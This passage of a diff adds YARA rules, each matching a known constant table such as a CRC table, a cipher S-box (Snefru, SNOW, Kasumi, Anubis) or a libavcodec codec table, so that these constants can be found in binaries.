931aca098fa74ff40daf84c2111e02be2876c98834c5c560561d0e564aac882a73c4431c6f7a81eaa6724adcbac3cca083ab07969f180b7efdc0c048e1714634d8198d02c4aa4dcfdc0286f9c0b30085f9dbcbb3e568c75b87b00c6d9b018a11a2694127bed783d177df48e76b6ece9b520605ad4eb509452c6dc27330dc440f09b48f3915090ac49701c1f28bb0478eb2d88cb8ae6b8050ccb34b66d002cd1ae96a062cf5d4c4da3cdc0fec206d8990190542a605b64e4e676e85787bdf030442b7c8325e0 }
+
+condition:
+	$a0
+}
+
+	
+rule Torque_Huffman_frequency_table__32_big_1024_
+{
+strings:
+	$a0 = { 000000000000000000000000000000000000000000000000000000000000000000000000000001490000001500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000af900000044000000000000001b000000000000003a000000030000003e000000040000000700000000000000000000000f000000410000022a000000030000018a00000194000000bd000000750000001e000000330000001b0000000f000000220000002000000050000000010000008e000000030000008e0000002700000000000000900000007d0000002c0000007a0000011300000046000000870000003d0000007f000000080000000c00000071000000f60000007a00000024000000b90000000100000095000001350000014f0000000c0000000b0000000e00000036000000970000000000000000000000020000000000000000000000d3000000000000082a00000158000002e0000003e100000b38000002bd0000025d00000286000006100000014800000131000004d8000002df000005fd000006b10000023200000003000006ef0000047d000005bd000003d300000197000002290000003b000001170000001f00000000000000000000000000000044000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_COOK_cplscale6__flt64___64_lil_504_
+{
+strings:
+	$a0 = { fdffff1faaefef3f010000607eceef3f00000040a0acef3ffeffffff058aef3f020000e0a466ef3ffdffff5f7142ef3ffcffff5f5e1def3ffdffffdf5df7ee3ffeffff1f60d0ee3f040000c053a8ee3ffdffff1f257fee3f01000060be54ee3f030000e00629ee3ffeffff5fe2fbed3ffeffffdf30cded3f00000060cd9ced3f010000e08c6aed3fffffff1f3d36ed3ffcffff3fa2ffec3ffeffffbf74c6ec3f020000a05d8aec3f04000040f14aec3f040000c0a707ec3ffeffff3fd2bfeb3f030000008872eb3f000000e0881eeb3f0400006006c2ea3ffeffff9f385aea3f020000c06de2e93ffdffff5f7651e93f02000040868fe83ffcffff5f9ea0e63fffffff9f4683e43ffeffffdff091e33f030000e090d0e23ffcffffff4b27e23ffdffffdfe28ce13f0000006092fce03f030000a07f73e03ffcffff3f8edfdf3ffcffff3f22e0de3ff7ffffffb5e6dd3f00000000b1f1dc3ffaffffdfc1ffdb3ffcffffffc60fdb3ffaffff5fbd20da3f03000080b431d93f06000040c441d83f010000800450d73ffaffff9f845bd63ffaffffdf4163d53f050000401d66d43ff9ffff7fcd62d33f05000000cc57d23ff8ffff7f3a43d13ffaffff7fb922d03ff7ffff3f4ce6cd3ffdffff5f4f60cb3feeffffdfb4a6c83f110000e021a5c53ff9ffff5f2037c23f02000000091abc3f010000009f28b03f }
+
+condition:
+	$a0
+}
+
+	
+rule DES_p32i__8_byt_32_
+{
+strings:
+	$a0 = { 100714151d0c1c11010f171a05121f0a0208180e201b0309130d1e06160b0419 }
+
+condition:
+	$a0
+}
+
+	
+rule EPWIC_15_tap_hi_filter__flt32___32_big_60_
+{
+strings:
+	$a0 = { 3aa383e5bb2384adbc0f0c453ca37edf3d4ef77fbdf6e36dbe960a123f34c7f6be960a12bdf6e36d3d4ef77f3ca37edfbc0f0c45bb2384ad3aa383e5 }
+
+condition:
+	$a0
+}
+
+	
+rule epTool_bgptbl__32_big_28_
+{
+strings:
+	$a0 = { 00008faf001626d5000000130000053700000ae30000000b000000e9 }
+
+condition:
+	$a0
+}
+
+	
+rule meaningful_bits_table_bs_write_ue__from_x264___32_lil_1024_
+{
+strings:
+	$a0 = { 01000000010000000200000002000000030000000300000003000000030000000400000004000000040000000400000004000000040000000400000004000000050000000500000005000000050000000500000005000000050000000500000005000000050000000500000005000000050000000500000005000000050000000600000006000000060000000600000006000000060000000600000006000000060000000600000006000000060000000600000006000000060000000600000006000000060000000600000006000000060000000600000006000000060000000600000006000000060000000600000006000000060000000600000006000000070000000700000007000000070000000700000007000000070000000700000007000000070000000700000007000000070000000700000007000000070000000700000007000000070000000700000007000000070000000700000007000000070000000700000007000000070000000700000007000000070000000700000007000000070000000700000007000000070000000700000007000000070000000700000007000000070000000700000007000000070000000700000007000000070000000700000007000000070000000700000007000000070000000700000007000000070000000700000007000000070000000700000007000000070000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000080000000800000008000000 }
+
+condition:
+	$a0
+}
+
+	
+rule Ultima_Online_uodemo_dat_algorithm__32_lil_992_
+{
+strings:
+	$a0 = { e4000000ea000000e9000000e2000000ed000000e8000000e0000000ee000000e6000000eb000000e1000000ec000000e7000000ef000000e5000000e3000000b4000000ba000000b9000000b2000000bd000000b8000000b0000000be000000b6000000bb000000b1000000bc000000b7000000bf000000b5000000b3000000440000004a00000049000000420000004d00000048000000400000004e000000460000004b000000410000004c000000470000004f0000004500000043000000c4000000ca000000c9000000c2000000cd000000c8000000c0000000ce000000c6000000cb000000c1000000cc000000c7000000cf000000c5000000c3000000640000006a00000069000000620000006d00000068000000600000006e000000660000006b000000610000006c000000670000006f0000006500000063000000d4000000da000000d9000000d2000000dd000000d8000000d0000000de000000d6000000db000000d1000000dc000000d7000000df000000d5000000d3000000f4000000fa000000f9000000f2000000fd000000f8000000f0000000fe000000f6000000fb000000f1000000fc000000f7000000ff000000f5000000f3000000a4000000aa000000a9000000a2000000ad000000a8000000a0000000ae000000a6000000ab000000a1000000ac000000a7000000af000000a5000000a3000000240000002a00000029000000220000002d00000028000000200000002e000000260000002b000000210000002c000000270000002f0000002500000023000000340000003a00000039000000320000003d00000038000000300000003e000000360000003b000000310000003c000000370000003f0000003500000033000000840000008a00000089000000820000008d00000088000000800000008e000000860000008b000000810000008c000000870000008f0000008500000083000000140000001a00000019000000120000001d00000018000000100000001e000000160000001b000000110000001c000000170000001f0000001500000013000000040000000a00000009000000020000000d00000008000000000000000e000000060000000b000000010000000c000000070000000f0000000500000003000000740000007a00000079000000720000007d00000078000000700000007e000000760000007b000000710000007c000000770000007f0000007500000073000000540000005a00000059000000520000005d00000058000000500000005e000000560000005b000000510000005c000000570000005f0000005500000053000000940000009a00000099000000920000009d00000098000000900000009e000000 }
+
+condition:
+	$a0
+}
+
+	
+rule Crypton_kp__32_lil_16_
+{
+strings:
+	$a0 = { 85ae67bb72f36e3c3af54fa57f520e51 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_h263_intra_vlc_aic__16_lil_412_
+{
+strings:
+	$a0 = { 02000200060003000e0004000c0005000d000500100006001100060012000600160007001b00080020000900210009001a0009001b0009001c0009001d0009001e0009001f00090023000b0022000b0057000c0056000c0055000c0054000c0053000c000f00040014000600140007001e0008000f000a0021000b0050000c000b000500150007000e000a0009000a00150006001d0008000d000a0051000c00130006002300090007000b00170007002200090052000c001c0008000c000a001f0008000b000a00250009000a000a002400090006000b0021000a0020000a0008000a0020000b00070004000c0006001000070013000800110009001200090004000a0027000b0026000b005f000c000f0006001300090005000a0025000b000e0006001400090024000b000d00060006000a005e000c001100070007000a00130007005d000c00120007005c000c00140008005b000c00150008001a00080019000800180008001700080016000800190009001500090016000900180009001700090004000b0005000b0058000c0059000c005a000c0003000700 }
+
+condition:
+	$a0
+}
+
+	
+rule libaf_front_same_side__30_degree___flt32___32_big_512_
+{
+strings:
+	$a0 = { bb87adb53bbdc1e13b59822f3c6996cd3bf0236ebd8626de3d0f7380bc5679df3e80e9013ed76f3bbeaf0b9cbe798f333d48c272be3613653e8769ee3e6e07e63d0762bc3eefac683f09327cbc432b5ebecb96babd0d3de73cf1377abec52b0cbea78b10be168ae5bdae888bbe18f40fbdc12e053dcaff733c3573f8bba73c833dbf436e3e09a51e3dd731633d2dad4b3d8655773cdd0dcdbd099e8abc9375263d2c298e3d1da81bbcc8c5a0bd0b963dbcef7426bd405e3bbdc1b484be1c668cbe1dd087bdb37070bd09b8d9bbec15fb3c078d423caf0d733d32db353d67deea3d8ac4523d6645b43d127b833cccde1e3c7cb4273c017cabbbb087f6bbe4fb38bc4510f9bcceab8abcd6d601bcc30bb5bd052086bd02e54ebc923643bc88413ebc84956cbc3f0919bb67db4bba0fce963af199be3c3ea0133c96305a3ca781433c0b647439f61bcdbadf70aebb12dc52ba61914fbb86b632bb673364bc1df1c4bc8f5d18bc7fcf4dbc30c8a8bc1c2961bbf4c491bafb7b79b91d0c72bb43528bbbd5aa7c3812dd363c1778c03c2226bc3c0842f53b95eb9fb887c61abb938d34bb8a79f1bb3d2348bbd2444ebbea81ffbc10d6ccbc6c37f4bc7ce683bc1777cebb0d5f583b3b0b633b334aafba4ead75bb55f9a9bb7e4b40bb675b13bb7c8506ba9c425cbb07cf5fbba35c28bb8adb38bb469903bab99cafba053f9c39b80259 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC16_poly_0xb005__16_big_refl_False_
+{
+strings:
+	$a0 = { 0000b005d00f600a101ba01ec014701120369033f039403c302d8028e0225027406cf069906320665077e0728078307d605ad05fb05500507041c044a04e104b80d830dd50d7e0d290c320c640ccf0c9a0ee10eb70e1c0e4b0f500f060fad0ffc0b470b110bba0bed0af60aa00a0b0a5e0825087308d8088f099409c20969093b1b501b061bad1bfa1ae11ab71a1c1a491832186418cf1898198319d5197e192f1d941dc21d691d3e1c251c731cd81c8d1ef61ea01e0b1e5c1f471f111fba1fe316d8168e162516721769173f179417c115ba15ec15471510140b145d14f614a7101c104a10e110b611ad11fb11501105137e1328138313d412cf12991232126d36f636a0360b365c3747371137ba37ef359435c23569353e3425347334d834893032306430cf3098318331d5317e312b3350330633ad33fa32e132b7321c32453b7e3b283b833bd43acf3a993a323a67381c384a38e138b639ad39fb395039013dba3dec3d473d103c0b3c5d3cf63ca33ed83e8e3e253e723f693f3f3f943fc62dad2dfb2d502d072c1c2c4a2ce12cb42ecf2e992e322e652f7e2f282f832fd22b692b3f2b942bc32ad82a8e2a252a70280b285d28f628a129ba29ec2947291e2025207320d8208f219421c22169213c2347231123ba23ed22f622a0220b225a26e126b7261c264b2750270627ad27f8258325d5257e25292432246424cf249 }
+
+condition:
+	$a0
+}
+
+	
+rule RC5_and_RC6_magic_values__0xb7e15163L_0x61C88647___32_big_AND_
+{
+strings:
+	$a0 = { b7e15163[0-20]61c88647 }
+
+condition:
+	$a0
+}
+
+	
+rule G726_40kbit_s_5bits_per_sample_table__W_tbl40___16_lil_64_
+{
+strings:
+	$a0 = { 0e000e0018002700280029003a0064008d00b300db0018016601b8011102b802b8021102b80166011801db00b3008d0064003a0029002800270018000e000e00 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_5_CCITT_poly_0x0b__8_byt_refl_False_
+{
+strings:
+	$a0 = { 000b161d2c273a3158534e45747f6269b0bba6ad9c978a81e8e3fef5c4cfd2d96b607d76474c515a3338252e1f140902dbd0cdc6f7fce1ea8388959eafa4b9b2d6ddc0cbfaf1ece78e859893a2a9b4bf666d707b4a415c573e3528231219040fbdb6aba0919a878ce5eef3f8c9c2dfd40d061b10212a373c555e434879726f64a7acb1ba8b809d96fff4e9e2d3d8c5ce171c010a3b302d264f4459526368757eccc7dad1e0ebf6fd949f8289b8b3aea57c776a61505b464d242f323908031e15717a676c5d564b4029223f34050e1318c1cad7dcede6fbf099928f84b5bea3a81a110c07363d202b4249545f6e657873aaa1bcb7868d909bf2f9e4efded5c8c3 }
+
+condition:
+	$a0
+}
+
+	
+rule SNOW_SBox_2__32_big_1024_
+{
+strings:
+	$a0 = { 088010000080100008801080020420a0008420800280308008002080008400200a041000020430800284308008803080020420200a0410a00a8000a0088010200a0400a0008410200a8400200804002002000000028420a008001000088020a0000410000804008002042080028430200884202000840080088400a0000020a00084108000040000080030a00884000000042020008000a0020400000a800020080000a002041080008420a00a04000000041020000030000a8430a002002080008020200a0030800a0420200a04300008043020028030a00a002020020020a0020430a000800020028020800a040020028430a00a00100002003000088000000000108000801080020010200080102000800080000010000a841080000000800a80300008000000020000a00200200008843020000010a0008010a0028020000a84000008040000020030a0080410000a0000a008803000088430a00a842020008430800284200008802020028400a0020410200a003000088000a000841000028000a0080020a00a003020000000200004108000840000028030200a843020080000800a0430a002802020008410a000802000028020a008841000028010800a8010800a8020200a04302000003020000400800a0420800880200000803020020410a0080010a00a8030200a00102002040020080410800a00200002801020080020200880008000842000028400000a8420000a8020800884002002040080020410000a040080000410a00a0410200a843000080400a00a801020020430000a8000800280100002842020028010a000002080088430000084302008000020008400a0028400800804308002800000008030a00800308008003000000000000000308008800020020010a00a8030a00a04200008001080008020a00a800000000020000a8400a0000420800a00002008803020028410a0088010a00a0030a00884200000043020088400800a8020a0028000200084300008001020088410800a00108002043020020400a0000400a0020000200a8400800804200002800080088420a00a0430800200308002841020020010000a0020800280300000803080088410a0008420200a841000000000a00a8410a0020000800a0020a0080410200a8010a0000020200a801000088030a0080420a0080410a0000400200080208002841000000420a0000010200a802000080420800a0010a00a000000080030200a000080020030200804202000803000028420800a04108008843080088420800a0420a002001080080430a0000430a00284108000042000000030a00a803080020420000a8420a0080430000a8430800a841020028430000a8420800080000008802080028400200884102008002000008430a0000430800200202000043000 }
+
+condition:
+	$a0
+}
+
+	
+rule libntlm_DES_key_swap__32_lil_64_
+{
+strings:
+	$a0 = { 00000000010000000001000001010000000001000100010000010100010101000000000101000001000100010101000100000101010001010001010101010101 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_pan_quant__flt64___64_lil_320_
+{
+strings:
+	$a0 = { 00000000000000000000000000000000000000000000000000000000000000000000000000000000fbcbeec9c342c53ffbcbeec9c342c53ffbcbeec9c342d53ffbcbeec9c342d53ffbcbeec9c342d53ffbcbeec9c342d53ffbcbeec9c342d53ffbcbeec9c342e53ffa7e6abc7493ea3ffa7e6abc7493ea3ff931e6ae25e4df3ffbcbeec9c342e53ff931e6ae25e4ef3f7aa52c431cebf73ffa7e6abc7493fa3ffbcbeec9c342e53ff931e6ae25e4ef3f7aa52c431cebf73fbc0512143f46014003098a1f63ee0340fa7e6abc7493ea3ffbcbeec9c342f53fbc0512143f46014042cf66d5e7ea07408195438b6ce70b40f931e6ae25e4ef3f7958a835cd3bfd3f82e2c798bb960640006f8104c58f0e405f07ce19519a1240fbcbeec9c342f53f431cebe2369a02408195438b6ce70b405f07ce19519a1240fe43faedeb401740 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_ff_alternate_horizontal_scan__8_byt_64_
+{
+strings:
+	$a0 = { 00010203080910110a0b040506070f0e0d0c1312181920211a1b141516171c1d1e1f2223282930312a2b242526272c2d2e2f323338393a3b343536373c3d3e3f }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_H_26L_H_264_AVC_JVT_14496_10_ff_h264_norm_shift__8_byt_512_
+{
+strings:
+	$a0 = { 0908070706060606050505050505050504040404040404040404040404040404030303030303030303030303030303030303030303030303030303030303030302020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule ASCII_to_BIN_table__32_lil_512_
+{
+strings:
+	$a0 = { ff000000ff000000ff000000ff000000ff000000ff000000ff000000ff000000ff000000e0000000f0000000ff000000ff000000f1000000ff000000ff000000ff000000ff000000ff000000ff000000ff000000ff000000ff000000ff000000ff000000ff000000ff000000ff000000ff000000ff000000ff000000ff000000e0000000ff000000ff000000ff000000ff000000ff000000ff000000ff000000ff000000ff000000ff0000003e000000ff000000f2000000ff0000003f0000003400000035000000360000003700000038000000390000003a0000003b0000003c0000003d000000ff000000ff000000ff00000000000000ff000000ff000000ff000000000000000100000002000000030000000400000005000000060000000700000008000000090000000a0000000b0000000c0000000d0000000e0000000f00000010000000110000001200000013000000140000001500000016000000170000001800000019000000ff000000ff000000ff000000ff000000ff000000ff0000001a0000001b0000001c0000001d0000001e0000001f000000200000002100000022000000230000002400000025000000260000002700000028000000290000002a0000002b0000002c0000002d0000002e0000002f00000030000000310000003200000033000000ff000000ff000000ff000000ff000000ff000000 }
+
+condition:
+	$a0
+}
+
+	
+rule Snefru_S_box_4__32_big_1024_
+{
+strings:
+	$a0 = { cb2297cbdb48a144a16cbe4bbbea1d6c5af6b6b78a8110b6f9236ef9c98f83e60f9c65b8252d4a89a497f068a5d7ed2d94c228459da1c8c4e27c2e2e6e8ba2b4c3dd17fb498cd4820dfe6a9fb07058299a1e6dc1f829717c07bb8e3ada3c0b021af82fc773b709557a04379c5ee20a2883712ae5f4c47c6ddf72ba56d794858d8c0cf70918f0f390b6c69b35bf2f01db2fa74dcad0cd9127bde66cec3deebd4657c88fc3cee1406f0066385af3c3444f3a79d5d575751eb93e7f8185521c2605e1aaab6e38ebb80fbee7e90461cb9647ea54904e05ae00e42d7ac65f087751a1dcd829150921ee16dd86d33bd6bd491a40fbadf04232cbd233808d1039098c42193f31990bc1e47a4a82b14902b65a8a104cdc8e24a8f52c685c6077c79f95c91d11fe50c08dafcd7b1a9a031c1f11d884250e7f979db248ebdc0501b9553395e3c05ea8b1e51c4c13b0e6813b40776636db3087ee17c9fc6c53ecf2adccc58fc427660befd5867d9b6d54a56ff1aeff8e7879529e2bffe08761d034e00bdbadae99a8d3cc03f6e2fd0ed8070e508ae3b74182ab4349245dd120a465b246a641af3b7ab02a6488bb4b3a0d1fe7c7e58c3faff2eb90445ffdcf38c393995d07e7f24f1b36356f68916d6ebcbe8da9e26250fd520e5bca9e1e37472cf3690750577ec5fded0cab892afb2412ba1728debfa000a988d843ce79042e20dd4fe8f85356659c3c2739d119a78a6120809603757042061185e09f78abd17e961b513eaf1e01eb6326ad2133a890c0947613cf60817e781ba39113d7e957fa584131b99e28b1efda66acfba7ff68944a77a44fd17f33152259ffb3faa6df935bfa12d9dfc6bf6f3f89520cf6659edd6a544da7398b0525387c30ea21c234552515927fb2144a436bba107b8b1219ac970673043231831ab3c55a5c24aa0fcd3ee5606be85c88f19b4c0841ee1fe3726711f9c4f49f1b9dae864e76d0e637c731d97d23a632f53d5cb816198093fa0f84caef08708874487e98f2cc73645fb5c6cd8536592062470d16ede8e96b06dab578b43900fc95b7865d8e7de1465b5954fe7ba014f7d23f7b92bc8b180359359255cef4f774b2731779de1fc2c8a0bfbd229398cc62a602cebcb946615336d206d2a375fe6a6ab4834702a5a4a2e9d73d23a2e0f19189140a581d18dcb39a922b82356212d5f432a9d356c2a35f765b4d450afcc84415e137e8ecdfbced0de3ea60d42b13f13df97171fc5da2c1455340f087742ff55e575167b3c1f8ac6b87747dcfaaac95983bc0489bb0b12c184223964b67262bd3271c72266472ded645300a2aa343d4f716a0b4dad6d92184345e512c990c29d92d082ebe709a01144c6934584b9de4634ed6ecc963cf3c6984aa4ed056ef9ca569768f3e80d4b5bae7c530b5caf563f33a64a9e4bbdef6b822984d673c1d }
+
+condition:
+	$a0
+}
+
+	
+rule Kasumi_S7__16_big_256_
+{
+strings:
+	$a0 = { 00360032003e003800160022005e006000260006003f005d00020012007b00210037007100270072001500430041000c002f0049002e001b0019006f007c0051003500090079004f0034003c003a00300065007f00280078006800460047002b0014007a0048003d0017006d000d0064004d0001001000070052000a0069006200750074004c000b0059006a0000007d0076006300560045001e0039007e00570070003300110005005f000e005a0054005b00080023006700200061001c00420066001f001a002d004b00040055005c0025004a005000310044001d0073002c0040006b006c0018006e00530024004e002a0013000f002900580077003b0003 }
+
+condition:
+	$a0
+}
+
+	
+rule bijective_ebcdic_to_ascii_table__8_byt_256_
+{
+strings:
+	$a0 = { 000102038509867f878d8e0b0c0d0e0f101112138f0a089718199c9d1c1d1e1f808182838492171b88898a8b8c050607909116939495960498999a9b14159e1a20a0e2e4e0e1e3e5e7f1602e3c282b7c26e9eaebe8edeeefecdf21242a293b9f2d2fc2c4c0c1c3c5c7d15e2c255f3e3ff8c9cacbc8cdcecfcca83a2340273d22d8616263646566676869abbbf0fdfeb1b06a6b6c6d6e6f707172aabae6b8c6a4b5af737475767778797aa1bfd0dddeaea2a3a5b7a9a7b6bcbdbeac5b5c5db4d7f9414243444546474849adf4f6f2f3f5a64a4b4c4d4e4f505152b9fbfcdbfaffd9f7535455565758595ab2d4d6d2d3d530313233343536373839b37bdc7dda7e }
+
+condition:
+	$a0
+}
+
+	
+rule Anubis_RC__32_lil_76_
+{
+strings:
+	$a0 = { 71e6d3a7794dacd0fc91c93abd54471efb7aa58cd4ddb863bec5b3e5a20c88a9da29df394ccba82b24aa224bf9a6704136b0e25aff33e47d8b082060787fab5ed2572c7c0d7e6ddc28c39453 }
+
+condition:
+	$a0
+}
+
+	
+rule libavformat_ff_qt_default_palette_256__8_byt_1024_
+{
+strings:
+	$a0 = { ffffff00ffffcc00ffff9900ffff6600ffff3300ffff0000ffccff00ffcccc00ffcc9900ffcc6600ffcc3300ffcc0000ff99ff00ff99cc00ff999900ff996600ff993300ff990000ff66ff00ff66cc00ff669900ff666600ff663300ff660000ff33ff00ff33cc00ff339900ff336600ff333300ff330000ff00ff00ff00cc00ff009900ff006600ff003300ff000000ccffff00ccffcc00ccff9900ccff6600ccff3300ccff0000ccccff00cccccc00cccc9900cccc6600cccc3300cccc0000cc99ff00cc99cc00cc999900cc996600cc993300cc990000cc66ff00cc66cc00cc669900cc666600cc663300cc660000cc33ff00cc33cc00cc339900cc336600cc333300cc330000cc00ff00cc00cc00cc009900cc006600cc003300cc00000099ffff0099ffcc0099ff990099ff660099ff330099ff000099ccff0099cccc0099cc990099cc660099cc330099cc00009999ff009999cc00999999009999660099993300999900009966ff009966cc00996699009966660099663300996600009933ff009933cc00993399009933660099333300993300009900ff009900cc009900990099006600990033009900000066ffff0066ffcc0066ff990066ff660066ff330066ff000066ccff0066cccc0066cc990066cc660066cc330066cc00006699ff006699cc00669999006699660066993300669900006666ff006666cc00666699006666660066663300666600006633ff006633cc00663399006633660066333300663300006600ff006600cc006600990066006600660033006600000033ffff0033ffcc0033ff990033ff660033ff330033ff000033ccff0033cccc0033cc990033cc660033cc330033cc00003399ff003399cc00339999003399660033993300339900003366ff003366cc00336699003366660033663300336600003333ff003333cc00333399003333660033333300333300003300ff003300cc003300990033006600330033003300000000ffff0000ffcc0000ff990000ff660000ff330000ff000000ccff0000cccc0000cc990000cc660000cc330000cc00000099ff000099cc00009999000099660000993300009900000066ff000066cc00006699000066660000663300006600000033ff000033cc00003399000033660000333300003300000000ff000000cc00000099000000660000003300ee000000dd000000bb000000aa00000088000000770000005500000044000000220000001100000000ee000000dd000000bb000000aa00000088000000770000005500000044000000220000001100000000ee000000dd000000bb000000aa00000088000000770000005500000044000000220000001100eeeeee00dddddd00bbbbbb00aaaaaa0088888800777777005555550044444400222222001111110000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule Anubis_T0__32_big_1024_
+{
+strings:
+	$a0 = { a753a6f5d3bb6bd0e6d1bf6e71e2d93bd0bd67daac458acf4d9a29b379f2f90b3a74e89cc98f038c913f7e41fce5d7321e3c7844478e018f54a84de5bd67cea98c050a0fa557aef97af4f501fbebcb2063c69157b86ddab7dda753f4d4b577c2e5d7b364b37bf68dc59733a4be61c2a3a94f9ed1880d1a170c183028a259b2eb3972e496dfa35bf82952a4f6daa94fe62b56acfaa84d9ad7cb8b0b804c982db54b9631a7224488ccaa4992db244890d84182199b70e0dd3da651a2f3f9efc32c5ab475c1e2d9af76b07dfa87366cd8b47dfae913e4d5b7623366ccaaffe3db3860c09d5d204080c0081020308b0b161d5ebc65d9ab4b96dd7ffee11f78f0fd0d7cf8ed152c58b0e857ae41efd2b96fd6dca557f26ddaa9737efce5190d1a342e53a651f794356a5fc39b2bb02850a0f0274e9cd2060c18145fbe61dfad478ec967ce814f5cb86dd555aa49e348903dad0e1c382452a455f1eac98f46428415915bb671c75dba69d33060c0a058b07dcd51a259fb59b279cb3c78f0884e9c25b93870e0908a09121b72e4d53114285078e7d3bb68c6913faedea15ffe50a05dfd8e0102039239724bd1bf63dc77eec12f933b764d458a09839a29527bce811f9e2d5ab4ee03060c0a62c49551b671e293b96fdeb1bf63c6a5963162536bd6b1673f7efc82070e1c121224486cae4182c340801d9d3468d0b8468c05893e7cf884dbab4be0cf831b98ecc59752cc851792c19f23bca15fbee1c09d27bad6b17fce1d3a744ef4f5f70261c2995b3b76ec9a10204060d8ad47ea68d0bd6da05dbae7b17ffe810a14283c69d2b96b6cd8ad75499239abfae9cf2676ecc529c49537a29e2142639b2b567d6edca579992f5e71c2992fb6b773e695982d5a77bc65caaf8f03060585172e391f3e7c42b475ea9ff8edc72a112244662e5cb8e400000000254a94de1c3870482a54a8fc3d7af48e050a141e4f9e21bf7bf6f107b279f28b3264c8ac903d7a47af4386c519326456a35bb6edf7f3fb0873e6d1379d274e69152a547e74e8cd25eec19f5eca890f869f2346650f1e3c221b366c5a75eac9238611223384152a3f9c254a6f4a9435a1973366551a34685c65ca8943f6f1ff0eedc7935409122436bb6bd6bd264c98d4831b362debcb8b406fdea17f811f3e21040810186ad4b5614386119701020406172e5c72e1dfa37c87132635f5f7f3048d070e09e3dbab7023468cca801d3a2744880d85162c587466cc8549214284c6fee1df3ed5b773c43162c4a6d9af43ec356ad4be183060500204080c64c88d45f2f9ef16f1ffe31c56ac45e9cd8713948219322bc88d078aba69d2bbf0fde71aefc39b58e9cf834ce8cd874afde7d334890f1e11d7b37bc8c7933ba8b577ee99a455aaff2f5ebce295376e5913264c6a0b162c3af3fbeb10e0dda77a376edcb2 }
+
+condition:
+	$a0
+}
+
+	
+rule Nush_64___Nessie_C_64__16_lil_72_
+{
+strings:
+	$a0 = { 25ac938a3d242e2687f8f2c4368ea19fc07d296a846dbd3467a215ccfe044ab924dfef40da965f9031d662aa154dcb703375fc4537535ed226a97b1c125fcc4e863cdb2801fcb17c }
+
+condition:
+	$a0
+}
+
+	
+rule zinflate_lengthExtraBits__8_byt_29_
+{
+strings:
+	$a0 = { 0000000000000000010101010202020203030303040404040505050500 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_qdm2_fft_tone_sample_table__flt32___32_big_1280_
+{
+strings:
+	$a0 = { 3c23d70abb72b9d6bb03126fbbe38e39baf162893d2aaaab0000000000000000bcaaaaabbc4a45883e0000003d6492493d077322bc86bca2bc1fb0283e2000003d8000003d17b426bbcccccdbb72b9d63e4c64263da000003d3da12f3b14f2093ab087273e4ccccd3d8000003d17b4263caaaaab3bf2b9d63e59df523d638e393d06d9053caaaaab3c4a45883e5e9bd43d41f07c3ce5daa63d0e38e43ca88f473e5e9bd43d0e38e43ca88f473d41f07c3ce5daa63e59df523caaaaab3c4a45883d638e393d06d9053e4ccccd3caaaaab3bf2b9d63d8000003d17b4263e4c64263b14f2093ab087273da000003d3da12f3e200000bbcccccdbb72b9d63d8000003d17b4263e000000bc86bca2bc1fb0283d6492493d0773223d2aaaabbcaaaaabbc4a458800000000000000003c23d70abbe38e39baf16289bb72b9d6bb03126f3ba3d70abca3d70a3c4ccccdbe9b26ca3b03126f3dd555553d23d70abccccccd3d088889bca3d70a3e0000003c23d70a3c6a0ea1bd4ccccdbca3d70a3e200000ba23d70aba01742eba23d70aba01742e3e200000ba23d70aba01742eba23d70aba01742e3e000000bd4ccccdbca3d70a3c23d70a3c6a0ea13dd555553d088889bca3d70a3d23d70abccccccd3ba3d70abe9b26ca3b03126fbca3d70a3c4ccccd000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003e1249253e000000bcea0ea1bd1249253caaaaab3e3a2e8c3d70f0f13d0888893cae4c413c23d70a3e3a2e8c3cae4c413c23d70a3d70f0f13d0888893e124925bd1249253caaaaab3e000000bcea0ea1000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000